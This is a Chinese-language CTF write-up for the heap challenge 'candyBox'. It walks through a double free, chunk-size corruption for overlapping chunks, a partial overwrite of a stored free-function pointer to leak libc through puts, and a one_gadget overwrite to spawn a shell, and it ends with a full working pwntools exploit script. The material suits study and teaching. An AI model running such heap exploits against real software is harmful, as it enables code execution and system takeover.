1. 程式人生 > 實用技巧 >2020省賽決賽

2020省賽決賽

candyBox

題目附件

檢視程式開的保護

got表是可以改寫。

程式是比較簡短的,只有create和del兩個函式。值得注意的是它分配出的chunk結果比較獨特,如下

在1號位上放info或存放info的chunk的地址,這個取決於輸入的info的長度。2號位上存放的是輸入info的長度,3號位上存放的是freeLittle或freeBig的地址。

這題的關鍵是洩漏libc的地址。下面分析洩漏方法。

先分配幾個chunk,為下面的構造做準備

    Add(0x8, '\x00'*0x8)
    Add(0x8, '\x00'*0x8)
    Add(0x9, 'A'*8 + '\x31') #2
Add(0x9, 'A'*8 + '\x31') #3 Add(0x9, 'A'*8 + '\x31') #4 Add(0x9, 'A'*8 + '\x31') #5 Add(0x9, 'A'*8 + '\x31') #6 Add(0x9, 'A'*8 + '\x31') #7 Add(0x9, 'A'*8 + '\x31') #8

因為2號位的存放的info的長度會影響接下來的構造,所以先把他們清零

    Delete(2)
    Add(0x8, '\x00'*8)
    Delete(4)
    Add(0x8, '\x00'*8)

double free修改chunk size構造overlap

    Delete(0)
    Delete(1)
    Delete(0)

    # 修改chunk size
    Add(0x2, '\x70\x00')
    Add(0x8, '\x00'*8)
    gdb.attach(p, 'b * $rebase(0x10e0)\nc')
    Add(0x1a, 'A'*0x18 + '\xc1\x00')

接下來修改3號位的地址為puts的地址,這裡需要爆破倒數第四個十六進位制位的值。修改後呼叫free函式就可以洩漏資料了。

    Delete(0)
    Delete(1)
    Delete(0)
    Add(0x2, '\xd0\x00')
    Add(
0x8, '\x00'*8) Add(0x8, '\x00'*8) Add(0x8, '\x00'*8) try: Add(0xb, 'A'*8 + '\x60\x49\x00') Delete(3) Add(0x8, '\x00'*8) # leak libc address Delete(4) libc_base = u64(p.recvuntil('\x7f\x0a')[-7:-1] + b'\x00\x00') - 0x3c4b78 libc.address = libc_base info("libc_base ==> " + hex(libc_base)) except: p.close() return 0

之後在此修改3號位的值為one_gadet就可getshell

完整exp如下:

#!/usr/bin/python3
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
global p
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Add(size, content):
    p.sendlineafter('Remove a candy:', '1')
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Taste: ', content)

def Delete(index):
    p.sendlineafter('Remove a candy:', '2')
    p.sendlineafter('id:', str(index))
    p.sendlineafter('serious?', 'yes')

def pwn():
    global p
    p = process('./candyBox')

    Add(0x8, '\x00'*0x8)
    Add(0x8, '\x00'*0x8)
    Add(0x9, 'A'*8 + '\x31') #2
    Add(0x9, 'A'*8 + '\x31') #3
    Add(0x9, 'A'*8 + '\x31') #4
    Add(0x9, 'A'*8 + '\x31') #5
    Add(0x9, 'A'*8 + '\x31') #6
    Add(0x9, 'A'*8 + '\x31') #7
    Add(0x9, 'A'*8 + '\x31') #8

    Delete(2)
    Add(0x8, '\x00'*8)
    Delete(4)
    Add(0x8, '\x00'*8)

    Delete(0)
    Delete(1)
    Delete(0)

    # 修改chunk size
    Add(0x2, '\x70\x00')
    Add(0x8, '\x00'*8)
    gdb.attach(p, 'b * $rebase(0x10e0)\nc')
    Add(0x1a, 'A'*0x18 + '\xc1\x00')

    Delete(0)
    Delete(1)
    Delete(0)
    Add(0x2, '\xd0\x00')
    Add(0x8, '\x00'*8)
    Add(0x8, '\x00'*8)
    Add(0x8, '\x00'*8)

    try:
        Add(0xb, 'A'*8 + '\x60\x49\x00')

        Delete(3)

        Add(0x8, '\x00'*8)

        # leak libc address
        Delete(4)
        libc_base = u64(p.recvuntil('\x7f\x0a')[-7:-1] + b'\x00\x00') - 0x3c4b78
        libc.address = libc_base
        info("libc_base ==> " + hex(libc_base))
    except:
        p.close()
        return 0

    one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]

    Delete(0)
    Add(0x20, b'A'*0x18 + p64(one_gadget[1] + libc_base))
    Delete(4)
    p.interactive()
    p.close()
    return 1

if __name__ == '__main__':
    while True:
        a = pwn()
        if a:
            break